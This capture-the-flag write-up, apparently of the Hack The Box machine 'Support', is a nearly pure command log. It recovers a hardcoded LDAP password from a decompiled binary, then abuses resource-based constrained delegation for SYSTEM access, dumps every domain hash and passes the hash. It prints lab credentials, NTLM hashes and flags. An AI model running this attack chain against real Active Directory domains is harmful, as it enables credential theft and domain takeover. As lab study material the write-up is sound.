Support
Recon
SMB
└─$ netexec smb 10.129.124.77 -u 'guest' -p '' --shares
SMB 10.129.124.77 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.129.124.77 445 DC [+] support.htb\guest:
SMB 10.129.124.77 445 DC [*] Enumerated shares
SMB 10.129.124.77 445 DC Share Permissions Remark
SMB 10.129.124.77 445 DC ----- ----------- ------
SMB 10.129.124.77 445 DC ADMIN$ Remote Admin
SMB 10.129.124.77 445 DC C$ Default share
SMB 10.129.124.77 445 DC IPC$ READ Remote IPC
SMB 10.129.124.77 445 DC NETLOGON Logon server share
SMB 10.129.124.77 445 DC support-tools READ support staff tools
SMB 10.129.124.77 445 DC SYSVOL Logon server share
For some reason spider_plus module didn't want to download the files...
└─$ netexec smb 10.129.124.77 -u 'letmein' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
└─$ smbclient -N //10.129.124.77/support-tools
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 20 13:01:06 2022
.. D 0 Sat May 28 07:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 07:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 07:19:55 2022
putty.exe A 1273576 Sat May 28 07:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 07:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 13:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 07:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 07:19:43 2022
4026367 blocks of size 4096. 959152 blocks available
smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (432.2 KiloBytes/sec) (average 432.2 KiloBytes/sec)
smb: \> exit
└─$ unzip UserInfo.exe.zip -d userinfo
Decompile: https://www.decompiler.com/jar/6f637a8b6b6d41509e4eb8f2e013227a/UserInfo.exe
└─$ unzip UserInfo.exe_Decompiler.com.zip -d decompiled
Password is hardcoded into *.exe
// decompiled/UserInfo.Services/LdapQuery.cs
public LdapQuery()
{
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
entry.AuthenticationType = (AuthenticationTypes)1;
ds = new DirectorySearcher(entry);
}
// decompiled/UserInfo.Services/Protected.cs
using System;
using System.Text;
namespace UserInfo.Services;
internal class Protected {
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword() {
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++) {
array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array2);
}
}
Decrypt using online runner:
// https://www.programiz.com/csharp-programming/online-compiler/
using System;
using System.Text;
internal class Protected {
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static void Main(string[] args) {
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++) {
array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
Console.WriteLine(Encoding.Default.GetString(array2));
}
}
Credentials are valid.
└─$ netexec smb 10.129.124.77 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB 10.129.124.77 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.129.124.77 445 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
└─$ cicada-mastertul -t 10.129.124.77 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb --full
[!x!] Scanning 10.129.124.77
[!] Enumerating SMB...
netexec smb 10.129.124.77 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --shares
[-] Could not connect to SMB
[!] Connecting to WinRM...
netexec winrm 10.129.124.77 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
[-] Could not connect to WinRM
[!] Enumerating Lookupsids using impacket...
[+] Lookupsids saved to /home/woyag/Desktop/Rooms/Support/mastertul/10.129.124.77/lookupsid_results/lookupsid_file.txt
[+] Users list saved to /home/woyag/Desktop/Rooms/Support/mastertul/10.129.124.77/lookupsid_results/users.txt
[!] Enumerating NPUsers using impacket...
[-] No NPUsers found
[!] Enumerating UserSPNs using impacket...
[-] No UserSPNs found
[!] Collecting Bloodhound Files...
[+] Bloodhound saved to /home/woyag/Desktop/Rooms/Support/mastertul/10.129.124.77/bloodhound_results
[!] Enumerating LDAP...
ldapdomaindump -u 'support.htb\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -dc-ip 10.129.124.77 -o /home/woyag/Desktop/Rooms/Support/mastertul/10.129.124.77/ldap_results
[+] LDAP saved to /home/woyag/Desktop/Rooms/Support/mastertul/10.129.124.77/ldap_results
[!x!] Cleaning up...
User support
seems to be the entrypoint into the DC, but nothing valuable from ldapdomaindump

└─$ netexec ldap support.htb -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --query "(sAMAccountName=support)" ""
SMB 10.129.124.77 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
LDAP 10.129.124.77 389 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
LDAP 10.129.124.77 389 DC [+] Response for object: CN=support,CN=Users,DC=support,DC=htb
LDAP 10.129.124.77 389 DC objectClass: top person organizationalPerson user
LDAP 10.129.124.77 389 DC cn: support
LDAP 10.129.124.77 389 DC c: US
LDAP 10.129.124.77 389 DC l: Chapel Hill
LDAP 10.129.124.77 389 DC st: NC
LDAP 10.129.124.77 389 DC postalCode: 27514
LDAP 10.129.124.77 389 DC distinguishedName: CN=support,CN=Users,DC=support,DC=htb
LDAP 10.129.124.77 389 DC instanceType: 4
LDAP 10.129.124.77 389 DC whenCreated: 20220528111200.0Z
LDAP 10.129.124.77 389 DC whenChanged: 20220528111201.0Z
LDAP 10.129.124.77 389 DC uSNCreated: 12617
LDAP 10.129.124.77 389 DC info: Ironside47pleasure40Watchful
LDAP 10.129.124.77 389 DC memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
LDAP 10.129.124.77 389 DC uSNChanged: 12630
LDAP 10.129.124.77 389 DC company: support
LDAP 10.129.124.77 389 DC streetAddress: Skipper Bowles Dr
LDAP 10.129.124.77 389 DC name: support
LDAP 10.129.124.77 389 DC objectGUID: 0x0aa33931fa3130459ea48053b396a7f1
LDAP 10.129.124.77 389 DC userAccountControl: 66048
LDAP 10.129.124.77 389 DC badPwdCount: 1
LDAP 10.129.124.77 389 DC codePage: 0
LDAP 10.129.124.77 389 DC countryCode: 0
LDAP 10.129.124.77 389 DC badPasswordTime: 133786086568708877
LDAP 10.129.124.77 389 DC lastLogoff: 0
LDAP 10.129.124.77 389 DC lastLogon: 0
LDAP 10.129.124.77 389 DC pwdLastSet: 132982099209777070
LDAP 10.129.124.77 389 DC primaryGroupID: 513
LDAP 10.129.124.77 389 DC objectSid: 0x0105000000000005150000001bdbfd6381ba83c9e670420b51040000
LDAP 10.129.124.77 389 DC accountExpires: 9223372036854775807
LDAP 10.129.124.77 389 DC logonCount: 0
LDAP 10.129.124.77 389 DC sAMAccountName: support
LDAP 10.129.124.77 389 DC sAMAccountType: 805306368
LDAP 10.129.124.77 389 DC objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
LDAP 10.129.124.77 389 DC dSCorePropagationData: 20220528111201.0Z 16010101000000.0Z
WinRM
info
field looks like password
└─$ netexec winrm support.htb -u 'support' -p 'Ironside47pleasure40Watchful'
WINRM 10.129.124.77 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
WINRM 10.129.124.77 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
└─$ evil-winrm -i support.htb -u 'support' -p 'Ironside47pleasure40Watchful'
*Evil-WinRM* PS C:\Users\support\Documents> whoami /all
User Name SID
=============== =============================================
support\support S-1-5-21-1677581083-3380853377-188903654-1105
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
SUPPORT\Shared Support Accounts Group S-1-5-21-1677581083-3380853377-188903654-1103 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
User.txt
*Evil-WinRM* PS C:\Users\support> cat Desktop/user.txt
71858ae992c4a296f17291fbc5e37185
Privilege Escalation
Enumerate with bloodhound
└─$ bloodhound-python -u 'support' -p 'Ironside47pleasure40Watchful' -d support.htb -ns 10.129.124.77 -c All --zip -op support

Shadow Credentials attack was the first thing I tried, but it failed.
└─$ certipy-ad shadow auto -u 'support@support.htb' -p 'Ironside47pleasure40Watchful' -account Administrator -target dc.support.htb -dc-ip 10.129.124.77 -scheme ldap
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'Administrator'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '5e6222be-4b48-9b34-ac4d-63007d37e624'
[*] Adding Key Credential with device ID '5e6222be-4b48-9b34-ac4d-63007d37e624' to the Key Credentials for 'Administrator'
[-] Could not update Key Credentials for 'Administrator' due to insufficient access rights: 00002098: SecErr: DSID-03151473, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
Let's abuse delegations then. A Practical Guide To RBCD Exploitation
└─$ impacket-addcomputer -computer-name 'letmein$' -dc-ip 10.129.124.77 support.htb/support:'Ironside47pleasure40Watchful'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account letmein$ with password RSdLRUaAqDspQoTwGSeRmHco7AeJGCGh.
└─$ impacket-rbcd -delegate-to 'DC$' -delegate-from 'letmein$' -dc-ip 10.129.124.77 -action write support.htb/support:'Ironside47pleasure40Watchful'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] letmein$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] letmein$ (S-1-5-21-1677581083-3380853377-188903654-6101)
└─$ impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.129.124.77 'support.htb/letmein$:RSdLRUaAqDspQoTwGSeRmHco7AeJGCGh'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
└─$ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Login 1
└─$ impacket-psexec -k -no-pass support.htb/administrator@dc.support.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file ONvjjNcN.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service QXkm on dc.support.htb.....
[*] Starting service QXkm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Login 2
└─$ impacket-secretsdump -k -no-pass support.htb/Administrator@dc.support.htb -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe:::
support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d:::
smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
hernandez.stanley:1107:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
wilson.shelby:1108:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
anderson.damian:1109:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
thomas.raphael:1110:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
levine.leopoldo:1111:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
raven.clifton:1112:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
bardot.mary:1113:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
cromwell.gerard:1114:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
monroe.david:1115:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
west.laura:1116:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
langley.lucy:1117:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
daughtler.mabel:1118:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
stoll.rachelle:1119:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
ford.victoria:1120:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:fa894c2f0c6fa6aade22d50f19729873:::
letmein$:6101:aad3b435b51404eeaad3b435b51404ee:115b37daa4edb2ffb788bed030639f42:::
[*] Cleaning up...
└─$ evil-winrm -i support.htb -u 'administrator' -H 'bb06cbc02b39abeddd1335bc30b19e26'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
support\administrator
Root.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
15f69c27b77961d2a1a3934619eaf05a
Last updated